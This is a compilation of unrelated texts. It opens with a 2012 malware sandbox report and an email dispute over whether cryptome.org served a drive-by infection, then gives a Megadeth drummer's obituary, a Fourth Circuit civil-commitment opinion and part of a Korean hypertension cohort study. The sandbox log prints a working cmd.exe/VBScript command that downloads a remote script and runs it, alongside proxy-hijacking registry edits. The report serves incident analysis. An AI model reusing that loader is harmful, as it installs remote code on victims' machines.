17:37:48 text/html [] cryptome.org/Index/ w.php?f=16&e=0 03/12/12 17:38:45 OS Change Detail | Items: 55 | OS Info: Microsoft WindowsXP Professional 5.1 sp3 Top Type Mode/Class Details (Path/Message/Protocol/Hostname/Qtype/ListenPort etc.) Process ID Parent ID File Size Process Started C:\WINDOWS\system32\cmd.exe Packed: no GUI: no Parentname: C:\WINDOWS\pchealth\helpctr\binaries\helpctr.exe Command Line: "C:\WINDOWS\system32\cmd.exe" /c echo B="l.vbs":With CreateObject ("MSXML2.XMLHTTP"):.open "GET","http://cryptome.org//Index/content/hcp_vbs.php?f= 16&d=0",false:.send():Set A = CreateObject("Scripting.FileSystemObject"):Set D=A. CreateTextFile(A.GetSpecialFolder(2) + "\" + B):D.WriteLine .responseText:End With:D.Close:CreateObject("WScript.Shell").Run A.GetSpecialFolder(2) + "\" + B > C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\\l.vbs && C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp \\l.vbs && taskkill /F /IM helpctr.exe 2464 444 Malicious Alert Anomaly Tag Message: Startup behavior anomalies observed Detail: A new process has been launched Mutex \BaseNamedObjects\SHIMLIB_LOG_MUTEX 2464 Mutex Imagepath: C:\WINDOWS\system32\cmd.exe 2464 File Created C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\l.vbs 2464 File Close C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\l.vbs MD5: df2ce7c80bd3f1170b46c3adb4d6c6eb SHA1: 4389878cb1c3e83abac7817336a55834b9d845b1 2464 349 Mutex Imagepath: C:\WINDOWS\system32\cmd.exe 2464 File Open C:\Documents and Settings\Administrator\My Documents\desktop.ini 2464 84 Mutex \BaseNamedObjects\ZoneAttributeCacheCounterMutex 2464 Regkey Setval \REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software\ Microsoft\Windows\CurrentVersion \Internet Settings\ZoneMap\"ProxyBypass" = 0x00000001 2464 Regkey Setval \REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software\ Microsoft\Windows\CurrentVersion \Internet Settings\ZoneMap\"IntranetName" = 0x00000001 2464 Regkey Setval \REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software\ Microsoft\Windows\CurrentVersion \Internet Settings\ZoneMap\"UNCAsIntranet" = 0x00000001 2464 Regkey Setval \REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software\ Microsoft\Windows\CurrentVersion \Internet Settings\ZoneMap\"AutoDetect" = 0x00000001 2464 Mutex \BaseNamedObjects\ZoneAttributeCacheCounterMutex 2464 Regkey Setval \REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software\ Microsoft\Windows\CurrentVersion \Internet Settings\ZoneMap\"ProxyBypass" = 0x00000001 2464 Regkey Setval \REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software\ Microsoft\Windows\CurrentVersion \Internet Settings\ZoneMap\"IntranetName" = 0x00000001 2464 Regkey Setval \REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software\ Microsoft\Windows\CurrentVersion \Internet Settings\ZoneMap\"UNCAsIntranet" = 0x00000001 2464 Regkey Setval \REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software\ Microsoft\Windows\CurrentVersion \Internet Settings\ZoneMap\"AutoDetect" = 0x00000001 2464 Process Started C:\WINDOWS\system32\cscript.exe Packed: no GUI: no Parentname: C:\WINDOWS\system32\cmd.exe Command Line: "C:\WINDOWS\System32\CScript.exe" //nologo "C:\DOCUME~1\ADMINI~1\ LOCALS~1\Temp\l.vbs" 2492 2464 Network Connected Protocol Type: udp Destination Port: 1057 IP Address: 127.0.0.1 Imagepath: C:\WINDOWS\system32\cscript.exe 2492 Network Connect Protocol Type: tcp Destination Port: 8080 IP Address: 10.0.0.2 Imagepath: C:\WINDOWS\system32\cscript.exe 2492 Mutex \BaseNamedObjects\SHIMLIB_LOG_MUTEX 2492 Mutex Imagepath: C:\WINDOWS\system32\cscript.exe 2492 File Open C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.da t 2492 458752 Folder Open C:\Documents and Settings\Administrator\Cookies 2492 File Open C:\Documents and Settings\Administrator\Cookies\index.dat 2492 32768 File Open C:\Documents and Settings\Administrator\Local Settings\History\History.IE5\ index.dat 2492 81920 Mutex Imagepath: C:\WINDOWS\system32\cscript.exe 2492 Regkey Setval \REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software\ Microsoft\Windows\CurrentVersion \Internet Settings\"ProxyEnable" = 0x00000001 2492 Regkey Setval \REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software Microsoft\Windows\CurrentVersion \Internet Settings\Connections\"SavedLegacySettings" = 46 00 00 00 08 04 00 00 03 00 00 00 0d 00 00 00 31 30 2e 30 2e 30 2e 32 3a 38 30 38 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0 0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2492 Mutex \BaseNamedObjects\ZoneAttributeCacheCounterMutex 2492 Regkey Setval \REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software\ Microsoft\Windows\CurrentVersion \Internet Settings\ZoneMap\"ProxyBypass" = 0x00000001 2492 Regkey Setval \REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software\ Microsoft\Windows\CurrentVersion \Internet Settings\ZoneMap\"IntranetName" = 0x00000001 2492 Regkey Setval \REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software\ Microsoft\Windows\CurrentVersion \Internet Settings\ZoneMap\"UNCAsIntranet" = 0x00000001 2492 Regkey Setval \REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software\ Microsoft\Windows\CurrentVersion \Internet Settings\ZoneMap\"AutoDetect" = 0x00000001 2492 Mutex \BaseNamedObjects\ZoneAttributeCacheCounterMutex 2492 Regkey Setval \REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software\ Microsoft\Windows\CurrentVersion \Internet Settings\ZoneMap\"ProxyBypass" = 0x00000001 2492 Regkey Setval \REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software\ Microsoft\Windows\CurrentVersion \Internet Settings\ZoneMap\"IntranetName" = 0x00000001 2492 Regkey Setval \REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software\ Microsoft\Windows\CurrentVersion \Internet Settings\ZoneMap\"UNCAsIntranet" = 0x00000001 2492 Regkey Setval \REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software\ Microsoft\Windows\CurrentVersion \Internet Settings\ZoneMap\"AutoDetect" = 0x00000001 2492 Regkey Setval \REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software\ Microsoft\Windows\CurrentVersion \Internet Settings\"ProxyEnable" = 0x00000001 2492 Regkey Setval \REGISTRY\USER\S-1-5-21-527237240-1580818891-725345543-500\Software\ Microsoft\Windows\CurrentVersion \Internet Settings\Connections\"SavedLegacySettings" = 46 00 00 00 09 04 00 00 03 00 00 00 0d 00 00 00 31 30 2e 30 2e 30 2e 32 3a 38 30 38 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0 0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2492 File Open C:\Documents and Settings\Administrator\Cookies\administrator[at}cryptome [1].txt MD5: ed4a45a7588fad273b23c6e409593c56 SHA1: 6bfdb93fffa62e01d97a724e6a56c15242b54d6b 2492 72 File Created C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\OXYNKLQB \hcp_vbs[1].jpg 2492 File Close C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\OXYNKLQB \hcp_vbs[1].jpg MD5: 3ac9a0c8a8a5ec6d3aba629bf66f9fb1 SHA1: 5b8d4280ff6fc9c8e1b9593cbaeb04a29e64a81e 2492 28672 File Overwritten C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\l.vbs MD5: df2ce7c80bd3f1170b46c3adb4d6c6eb SHA1: 4389878cb1c3e83abac7817336a55834b9d845b1 2492 349 File Close C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\l.vbs MD5: d41d8cd98f00b204e9800998ecf8427e SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709 2492 349 Process Terminated C:\WINDOWS\system32\cscript.exe Parentname: C:\WINDOWS\system32\cmd.exe 2492 2464 Process Started C:\WINDOWS\system32\taskkill.exe Packed: no GUI: no Parentname: C:\WINDOWS\system32\cmd.exe 2628 2464 Malicious Alert Misc Anomaly Message: External process termination Detail: Malware trying to terminate an external process Mutex \BaseNamedObjects\SHIMLIB_LOG_MUTEX 2628 Mutex Imagepath: C:\WINDOWS\system32\taskkill.exe 2628 Mutex Imagepath: C:\WINDOWS\system32\taskkill.exe 2628 Process Terminated C:\WINDOWS\system32\taskkill.exe Parentname: C:\WINDOWS\system32\cmd.exe 2628 2464 End Of Report CONFIDENTIALITY NOTICE: This communication and any accompanying document(s) are confidential and privileged. They are intended for the sole use of the addressee. If you receive this transmission in error, you are advised that any disclosure, copying, distribution, or the taking of any action in reliance upon the communication is strictly prohibited. Moreover, any such inadvertent disclosure shall not compromise or waive the attorney-client privilege as to this communication or otherwise. If you have received this communication in error, please contact our IS Department at its Internet email address (is[at}downeybrand.com), or by telephone at (916)444-1000 x5325. Thank you. Content-Type: image/jpeg; name="Picture (Metafile) 1.jpg" Content-Description: Picture (Metafile) 1.jpg Content-Disposition: inline; filename="Picture (Metafile) 1.jpg"; creation-date=Mon, 12 Mar 2012 11:14:22 GMT; modification-date=Mon, 12 Mar 2012 11:25:44 GMT Content-ID: <2ad727ec-6788-43a1-8dcc-56c0dd025de6> [] Picture (Metafile) 1.jpg Content-Type: image/jpeg; name="Picture (Metafile) 2.jpg" Content-Description: Picture (Metafile) 2.jpg Content-Disposition: inline; filename="Picture (Metafile) 2.jpg"; creation-date=Mon, 12 Mar 2012 11:14:23 GMT; modification-date=Mon, 12 Mar 2012 11:25:44 GMT Content-ID: <8c7bab9f-3f34-4eff-82d5-2e7ea27d451e> [] Picture (Metafile) 2.jpg Content-Type: image/jpeg; name="Picture (Metafile) 3.jpg" Content-Description: Picture (Metafile) 3.jpg Content-Disposition: inline; filename="Picture (Metafile) 3.jpg"; creation-date=Mon, 12 Mar 2012 11:14:23 GMT; modification-date=Mon, 12 Mar 2012 11:25:44 GMT Content-ID: <d4415c52-cfa6-4204-90dc-0164435e2d5e> [] Picture (Metafile) 3.jpg Content-Type: image/jpeg; name="Picture (Metafile) 4.jpg" Content-Description: Picture (Metafile) 4.jpg Content-Disposition: inline; filename="Picture (Metafile) 4.jpg"; creation-date=Mon, 12 Mar 2012 11:14:23 GMT; modification-date=Mon, 12 Mar 2012 11:25:44 GMT Content-ID: <e3d351f1-7342-4885-9791-22e22d997016> [] Picture (Metafile) 4.jpg Content-Type: image/jpeg; name="Picture (Metafile) 5.jpg" Content-Description: Picture (Metafile) 5.jpg Content-Disposition: inline; filename="Picture (Metafile) 5.jpg"; creation-date=Mon, 12 Mar 2012 11:14:23 GMT; modification-date=Mon, 12 Mar 2012 11:25:44 GMT Content-ID: <b33eba00-1ae1-4f4f-934c-67b5e3cb6000> [] Picture (Metafile) 5.jpg Content-Type: image/jpeg; name="Picture (Metafile) 6.jpg" Content-Description: Picture (Metafile) 6.jpg Content-Disposition: inline; filename="Picture (Metafile) 6.jpg"; creation-date=Mon, 12 Mar 2012 11:14:23 GMT; modification-date=Mon, 12 Mar 2012 11:25:44 GMT Content-ID: <864e1689-1f94-4b4f-8ff4-aa70b9d95074> [] Picture (Metafile) 6.jpg Content-Type: image/jpeg; name="Picture (Metafile) 7.jpg" Content-Description: Picture (Metafile) 7.jpg Content-Disposition: inline; filename="Picture (Metafile) 7.jpg"; creation-date=Mon, 12 Mar 2012 11:14:23 GMT; modification-date=Mon, 12 Mar 2012 11:25:44 GMT Content-ID: <18b3ef02-ec42-4243-9582-dd4713612764> [] Picture (Metafile) 7.jpg Content-Type: image/jpeg; name="Picture (Metafile) 8.jpg" Content-Description: Picture (Metafile) 8.jpg Content-Disposition: inline; filename="Picture (Metafile) 8.jpg"; creation-date=Mon, 12 Mar 2012 11:14:23 GMT; modification-date=Mon, 12 Mar 2012 11:25:44 GMT Content-ID: <92f30079-2c46-4e93-a315-cd058d392838> [] Picture (Metafile) 8.jpg Message No. 2 from IT person: From: "Wiley, Steve" <swiley[at}DowneyBrand.com> To: 'John Young' <jya[at}pipeline.com> CC: "'noc[at}networksolutions.com'" <noc[at}networksolutions.com>, "'abuse[at}networksolutions.com'" <abuse[at}networksolutions.com> Date: Mon, 12 Mar 2012 11:58:32 -0700 Subject: RE: Infected host at IP 205.178.145.72 cryptome.org Denial is easy, finding this will take a professional. The malicious binary was transmitted by your server and the activity below was recorded. Websense, FireEye, and Trend Micro all point to your IP as the infection source - independent alarms went off simultaneously. That is three large, disparate security companies pointing at you. The PCAP proves a BINARY was transmitted FROM YOUR SERVER. What more do you need? Kind regards, Steve Wiley Network Operations Manager DOWNEY BRAND 621 Capitol Mall, 18th Floor Sacramento, CA 95814 916/520-5269 Direct 916/520-5669 Fax swiley[at}downeybrand.com http://www.downeybrand.com From: John Young [mailto:jya[at}pipeline.com] Sent: Monday, March 12, 2012 11:53 AM To: Wiley, Steve Cc: 'noc[at}networksolutions.com'; 'abuse[at}networksolutions.com' Subject: Re: Infected host at IP 205.178.145.72 cryptome.org There are no malicious binaries nor infection in the files cited. Only one of the files cited exists, blm042808.htm, and it is has been checked and found clean. Most of the files cited do not exist and appear generated by a rogue attack algorithm. Our access log shows several such attacks and probes for vulnerabilities. An attacker may be using your email to spread misinformation or using your computer system to mount remote attacks. Much of your message arrived as gibberish which may indicate it is a forgery. Nasty stuff on the net and rapidly increasing. Best regards, John Young Administrator Cryptome.org Message No. 3 from IT person: From: "Wiley, Steve" <swiley[at}DowneyBrand.com> To: 'John Young' <jya[at}pipeline.com> CC: "'noc[at}networksolutions.com'" <noc[at}networksolutions.com>, "'abuse[at}networksolutions.com'" <abuse[at}networksolutions.com> Date: Mon, 12 Mar 2012 12:06:55 -0700 Subject: RE: Infected host at IP 205.178.145.72 cryptome.org Here is some PRO HELP. The Sucuri scanner also shows you infected. [] We have a log of everything that happened. My user opened a new browser, went to Google and did a GOOGLE SEARCH for BLM NEPA A link from your site comes up as the fourth or fifth hit. My user clicked this link. Fit hit the shan. The malware may only present itself when the referer is Google. If you are brave, perform the same search and click the link from a clean machine ready for malware reasearch (get your HTTPwatch ready) from a PUBLIC IP THAT HAS NEVER VISITED YOUR SERVER because these hackers are known to record IPs and dish out malware selectively to prevent followup security research from IPs of visitors that they try to infect.
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Former MEGADETH drummer Nick Menza passed away Saturday night (May 21) while performing with the band OHM: at The Baked Potato in Studio City, California. He was 51 years old.
Nick collapsed during the third song of OHM:'s set. Earliest reports indicate he suffered a massive heart attack and was pronounced dead upon arrival at hospital. No other details are being released at this time.
One person who was present at The Baked Potato last night told BLABBERMOUTH.NET: "It appeared to be a seizure but [Nick] stopped breathing. Two patrons took over and began CPR until EMS arrived. EMS worked on him for 25-plus minutes, including adrenaline shots, three shocks and non-stop compressions."
OHM:'s manager Steve Bauer told CNN: "The group's bassist texted me last night after it happened. We are all still in shock."
Nick's biographer and friend J. Marshall Craig said: "We ask for prayers for Nick's family, his family, and especially his two sons and their mother, Teri.
"He just spent nearly two weeks with the boys in the Pacific Northwest and was absolutely glowing. He was scheduled to fly to my home in Cape Cod tomorrow so that we could finish the comic-book version of the book we wrote on his life, 'MenzaLife', both of which were slated for release late next month. This morning we are all too numb to think about anything but Nick's family.”
Nick's manager Robert Bolger said: "Along with your prayers and wonderful thoughts and memories of this incredible man and musician, we ask that fans respect his family’s need for privacy at this absolutely tragic time."
Menza's friend Allen Hall wrote on Facebook: "We lost an amazing talent and fantastic person yesterday. Nick Menza was the nicest and most sincere guy you should ever hope to meet.
"He would take the shirt off his back to help you if you needed it. He had a passion for artwork, not just metal music.
"Nick, you were taken too soon, it must have been a mistake, the world was a better place with you in it. I will miss you dearly my friend."
MEGADETH mainman Dave Mustaine tweeted: "Tell me this isn't true. I woke at 4am to hear Nick Menza passed away on May 21 playing his drums with Ohm at the Baked Potato. #nickmenzarip."
Mustaine's son, Justis, also paid tribute to Nick on Twitter, saying: "Rest in peace Nick Menza."
A Facebook post from The Baked Potato stated simply: "RIP Nick Menza."
MEGADETH bassist David Ellefson wrote on Facebook: "Condolences to the Nick Menza family and friends. We have lost a gentle giant... A true artist and friend to us all."
Former MEGADETH guitarist Marty Friedman said in a Facebook post: "We all know the great and unique drummer that Nick Menza was, but he was also a trustworthy friend, a hilarious bandmate, as well as a very loving dad. I'm beyond sad. [I] did not see this coming at all. RIP brother."
Ex-MEGADETH guitarist Glen Drover said: "I'm super shocked after reading the news about Nick last night. As some of you know, it was me, Nick, Dave [Mustaine], and Jimmy Macdonough in 2004, who became the first lineup of MEGADETH after the original breakup in 2001. Although it was short lived (with my brother Shawn taking over for Nick), it was nice playing and getting to know him a little for that very brief period. He seemed like a good guy. Very quiet, and what I remember most is that when he played drums, he used ride cymbals for his crashes. For those who don’t know, it's very, very loud!!!!! But it's okay; I still have some of my hearing intact. Ha."
Menza joined MEGADETH for the 1989 recording "Rust In Peace" and for the next nine years became associated with the band's "classic" and most profitable era.
He claimed in a 2015 interview that the attempted reunion of the "Rust In Peace" lineup failed to materialize because Dave Mustaine "didn't wanna show me any love at all."
The drummer said that he was approached by Mustaine and bassist David Ellefson to replace Shawn Drover at the end of 2014, and that he had started working out new tracks with the band. But the plan collapsed after he was offered a contract he described as "very unfair."
In addition to Menza, OHM: featured another ex-MEGADETH member, guitarist Chris Poland.
Menza joined OHM: last year after the passing of the band's previous drummer, David Eagle, who suffered a heart attack and had open-heart surgery in May 2015.
Last week, it was announced that Nick would unveil an art collection crafted from the new medium of "rhythm-on-canvas" on June 16.
Menza had been working with art team and publisher SceneFour on the collection titled "Rhythm Hits The Wall".
TELL ME THIS ISN'T TRUE! I woke at 4 AM to hear Nick Menza passed away on 5/21 playing his drums w/Ohm at the Baked Potato. #nickmenzarip — Dave Mustaine (@DaveMustaine) May 22, 2016
Condolences to the Nick Menza family and friends. We have lost a gentle giant... A true artist and friend to us all. #ripnickmenza — David Ellefson (@ellefsondavid) May 22, 2016
We all know the great and unique drummer that Nick Menza was, but he was also a trustworthy friend, a hilarious... https://t.co/Fyhj5aQ72o — Marty Friedman (@marty_friedman) May 22, 2016
Rest In Peace Nick Menza — Justis Mustaine (@Justis_Mustaine) May 22, 2016
Pictured below: Nick Menza on May 20
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UNPUBLISHED
UNITED STATES COURT OF APPEALS
FOR THE FOURTH CIRCUIT
No. 08-6527
UNITED STATES OF AMERICA,
Petitioner - Appellee,
v.
KEVIN SEAN POLK,
Respondent - Appellant.
No. 08-6823
UNITED STATES OF AMERICA,
Petitioner - Appellee,
v.
KEVIN SEAN POLK,
Respondent - Appellant.
Appeals from the United States District Court for the Eastern
District of North Carolina, at Raleigh. W. Earl Britt, Senior
District Judge. (5:06-hc-02182-BR)
Submitted: October 24, 2008 Decided: November 13, 2008
Before MICHAEL, TRAXLER, and GREGORY, Circuit Judges.
Affirmed by unpublished per curiam opinion.
James B. Craven, III, Durham, North Carolina, for Appellant.
Rudolf A. Renfer, Jr., Assistant United States Attorney,
Michelle T. Fuseyamore, Raleigh, North Carolina; David T.
Huband, BUREAU OF PRISONS, Butner, North Carolina, for Appellee.
Unpublished opinions are not binding precedent in this circuit.
2
PER CURIAM:
In each of these consolidated appeals, Kevin Sean Polk
appeals the district court’s April 7, 2008 order continuing his
civil commitment to the custody of the Attorney General under 18
U.S.C. § 4246 (2006). In Appeal No. 08-6527, Polk’s counsel has
filed a brief pursuant to Anders v. California, 386 U.S. 738
(1967), raising one issue but stating that, in his view, there
are no meritorious grounds for appeal. Counsel questions
whether the district court erred in concluding that Polk posed a
substantial risk of danger to others as a result of his mental
disorder. Polk has filed a pro se supplemental informal brief
in each appeal. ∗ We affirm.
After a hearing, the district court found by clear and
convincing evidence that Polk “continues to suffer from a mental
disease or defect as a result of which his release would create
a substantial risk of bodily injury to another person or serious
damage to property of another.” (J.A. at 33). Our thorough
review of the record leads us to conclude that the district
court did not clearly err in finding that continued civil
commitment was warranted. See United States v. Robinson, 404
F.3d 850, 856 (4th Cir. 2005) (providing standards).
∗
We have reviewed carefully the issues raised in the pro se
supplemental informal briefs and find them to be without merit.
3
Accordingly, we affirm the order of the district
court. We deny counsel’s motion to withdraw and dispense with
oral argument because the facts and legal contentions are
adequately presented in the materials before the court and
argument would not aid the decisional process.
AFFIRMED
4
|
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1. Introduction
===============
Although hypertension (HTN) is a well-known risk factor for cardiovascular disease (CVD), studies on the effect of each blood pressure (BP) component on CVD have been inconsistent,^\[[@R1],[@R2]\]^ Borghi et al[@R3] demonstrated that, in a European cohort, systolic BP (SBP) was a stronger predictor of coronary heart disease (CHD) and cerebrovascular events compared with diastolic BP (DBP), and this result has been generally consistent in other reports,^\[[@R4],[@R5],[@R6],[@R7]\]^ pointing to the importance of SBP. In contrast, data from the Framingham cohort with a mean age of 61 years, SBP was directly related to, but DBP was inversely associated with, the incidence of CHD risk, which means that pulse pressure (PP: SBP--DBP) is the strongest predictor among the three BP components (SBP, DBP, and PP).^\[[@R8],[@R9],[@R10]\]^ On the other hand, Glynn and colleagues[@R11] described that SBP is more important than DBP, even in a younger population, but they could not show that PP was the most powerful predictor of adverse clinical events in the younger population. Moreover, a few analyses had also focused on the role of mean arterial pressure (MAP) and PP in CVD,^\[[@R6],[@R7]\]^ and several studies using different methodologies have demonstrated the relative importance of all 4 BP components. Therefore, we determined that the effect of all 4 BP components on CV events may need to be investigated case by case, that is, subjects with normal-range BP with prehypertension and with HTN. As a study on the impact of BP components on CV events among prehypertensive individuals was published,[@R12] a study on the effect of each BP component on the risk of CV complications among hypertensive populations is necessary.
In addition, the prevalence of HTN and incidence of CV events are different based on sex. A study at Wake Forest Baptist Medical Center of 100 hypertensive subjects with a mean age of 53 years showed 30 to 40 percent higher incidence of vascular disease in women than in men, despite no differences between males and females in terms of BP, heart rate (HR), and body mass index (BMI). The study also found significant differences in the hemodynamic and hormonal mechanisms accounting for the increased BP in women compared to men. Therefore, physicians may need to choose selective BP management considering the age and sex of their patients. Hence, the aim of the current study was to investigate and compare the usefulness of each BP component based on stratification by age and sex for predicting CV events among 22,853 hypertensive patients without chronic kidney disease (CKD) or diabetes mellitus (DM).
2. Materials and methods
========================
2.1. Health examination sample cohort database
----------------------------------------------
In Korea, the National Health Insurance Service (NHIS) provides general health examinations to several populations:
1. regional insurance subscribers that include a regional household member 40 years or older and other household members,
2. employee subscribers who are 40 years or older and their dependents, and
3. medical aid beneficiaries who are household representatives 19 to 64 years of age and other household members 40 to 64 years of age.[@R13]
With the exception of non-office workers, these individuals are asked to undergo biennial health medical examination; non-office workers are required to undergo annual examinations. The health examination sample cohort database included 10% of all participants who underwent a health examination provided by the NHIS during calendar years 2002 and 2003, using simple random sampling, and they were followed until December 31, 2013.[@R14] The number of participants that received health examinations among the general same-aged population in Korea was approximately 40% in 2002 and increased up to 68% in 2013.
2.2. Participants
-----------------
We enrolled participants that underwent medical examinations provided by the Korea Medical Insurance Corporation (KMIC) between January 1, 2003 and December 31, 2004. These examinations are referred to as the "baseline". Among the people who received a medical examination during this timeframe, a total of 30,080 people were found to have HTN, we excluded 2230 people that had been diagnosed with current or past CKD and had received chronic dialysis or kidney transplantation at the enrollment point. Another 209 participants were excluded because they had experienced prior CV events, and 4788 people were excluded due to current or past DM. Finally, a total of 22,853 participants with HTN were involved in this study (Fig. [1](#F1){ref-type="fig"}). The study protocol was approved by the Institutional Review Board of Ewha Womans University, College of Medicine (EUMC 2018--01--039), and informed consent was waived because of retrospective study.
{#F1}
2.3. Data collection
--------------------
Demographic and clinical data that were recorded during the health examination included age, sex, BMI calculated as weight/height^2^ and the Charlson Comorbidities Index (CCI).[@R15] BP was measured at mobile examination centers by trained examiners. SBP and DBP were measured three times, and the average of second and third measurements was used for analysis.^\[[@R16],[@R17]\]^ MAP was calculated as 2/3 DBP + 1/3 SBP, and PP as SBP- DBP. The following laboratory data were measured as part of the health examinations: fasting blood glucose, total cholesterol, hemoglobin, and proteinuria with the dipstick test \[(−), +, 1+, 2+, or over 3+\].
2.4. Definitions
----------------
1. HTN was defined on the basis of a prior diagnosis of HTN, prior use of any antihypertensive medications within six months of the defined enrollment time, or as measured BP ≥ 140/90 mmHg.[@R18]
2. DM subjects were defined as those with at least two recorded prescriptions of insulin or oral hypoglycemic agents with a diagnosis code of "E10--14 \[International Statistical Classification of Disease and Related Health Problems (ICD)-10code\]".[@R19]
3. CV endpoints consisted of new onset mortality or hospitalization due to myocardial infarction, angina, or acute coronary syndrome.[@R20]
4. Hospitalization was defined as admission to a hospital for treatment lasting more than 2 days.
5. Smoking status was defined based on guidelines from the Centers for Disease Control and Prevention (<https://www.cdc.gov/nchs/nhis/tobacco/tobacco_glossary.htm>).
1. A current smoker was defined as an adult who had smoked 100 cigarettes in his or her lifetime and who currently smokes cigarettes.
2. A former smoker was defined as an adult who had smoked at least 100 cigarettes in his or her lifetime but who had quit smoking at the time of the interview.
3. A never smoker was defined as an adult who had never smoked or who had smoked less than 100 cigarettes in his or her lifetime.
2.5. Study outcomes
-------------------
All study participants were monitored for CV events during 9 years of follow-up, from January 1, 2005 through December 31, 2013.
2.6. Statistical analysis
-------------------------
Continuous variables were expressed as mean ± standard deviation and categorical variables as number (percentage). Continuous variables were compared using the independent Student's *t* test, and categorical variables were compared with Pearson chi-square test. Then, we stratified the patients into 3 groups according to age \[40--49, 50--59, and 60 years or older\] and sex \[male and female\], respectively. Among the groups, the crude incidence rates were calculated by dividing the number of subjects with a given event by the person-years of follow-up, which were expressed as cases per 1000 person-years; confidence intervals (CIs) were estimated based on a Poisson distribution. In addition, a Cox proportional hazards analysis was performed to examine the time-to-event association with CV events. We selected adjusted covariates using stepwise selection for analysis of age, sex, total cholesterol level, smoking status, and CCI using a multivariate model. This analysis was conducted using R 3.2.3 software (R Development Core Team, 2013) and SAS 9.4 software (SAS Institute Inc., Cary, NC). The *P* value less than .05 was considered statistically significant.
3. Results
==========
3.1. Baseline characteristics
-----------------------------
Among the 22,853 subjects, the mean age was 51.1 ± 8.87 years and 69.2% were male. The mean BMI was 24.4 ± 2.9 kg/m^2^. Out of the total individuals, 106 (0.5%) had cancer as a co-morbidity, congestive heart failure (CHF) was diagnosed in 98 (0.4%), and only four were treated for acute myocardial infarction (AMI). In addition, mean SBP, DBP, PP, and MAP were 140.9 ± 13.9, 89.8 ± 9.0, 51.2 ± 12.6, and 106.8 ± 9.14 mmHg, respectively. At the initial health examination, 5,945 (26%) subjects were current smokers, and the number of non-smokers was 15,996 (70.0%), including past smokers.
Laboratory data indicated that mean fasting blood glucose and total cholesterol concentration were 89.8 ± 10.4 and 200.4 ± 36.8 mg/dL, respectively, the mean hemoglobin level was 14.3 ± 1.5 g/dL, and CCI was 0.38 ± 0.70.
Additionally, 377 (1.7%) hypertensive patients had proteinuria with a score greater than 1+ \[1+: 264 (1.2%), 2+: 96 (0.4%), and over 3+: 17 (0.1%)\] (Table [1](#T1){ref-type="table"}). Subjects were stratified based on clinical outcomes of CV events. The non-event group included those in which CV events did not occur during the study period, and the event group included those in which CV events occurred during the study period. Study results demonstrated that SBP and PP were significantly elevated in the CV event group (142.8 mmHg SBP and 54.3 mmHg PP, respectively) compared with the CV non-event group (140.8 mmHg SBP and 51.0 mmHg PP), while DBP and MAP were significantly lower in the CV event group (88.5 mmHg in DBP and 106.6 mmHg in MAP) compared to the CV non-event group (89.8 mmHg in DBP and 106.8 mmHg in MAP). Moreover, the hypertensive patients who experienced CV events were significantly older (age 57.0 vs 50.6 years), had a history of previous AMI and CHF, and had a higher CCI (0.62 vs 0.36) compared with the hypertensive patients without CV events (Table [1](#T1){ref-type="table"}). There was a significant difference in smoking status, while there was no significant difference in proteinuria level between the two groups. In the laboratory findings, the average total cholesterol level was significantly higher in the CV event group compared with the CV non-event group (203.5 vs 200.2 mg/dL), whereas the mean hemoglobin level was significantly lower in the CV event group compared to the CV non-event group (14.2 vs 14.3 g/dL) (Table [1](#T1){ref-type="table"}).
######
Baseline characteristics.
3.2. The effects of baseline BP components on CV events among the hypertensive population
-----------------------------------------------------------------------------------------
During the median 9 years of follow-up, the incidence rate of CV events was 7.56 (95% CI, 7.18--7.95) per 1000 person-years. When these patients were classified into 2 groups according to sex (male vs female) and then each stratified into 3 groups according to age (40--49, 50--59, and over 60), the crude incidence rates of CV events in ages 40--49, 50--59, and over 60 years in males were 4.43 (95% CI, 3.99--4.89), 8.17 (95% CI, 7.21--9.22), and 2.01 (95% CI, 1.82--2.22), respectively; those in females were 1.13 (95% CI, 1.09--1.17), 6.01 (95% CI, 4.98--7.19), and 1.68 (95% CI, 1.48--1.90) (Table [2](#T2){ref-type="table"}).
######
Incidence rate of cardiovascular events per 1000 person-years.
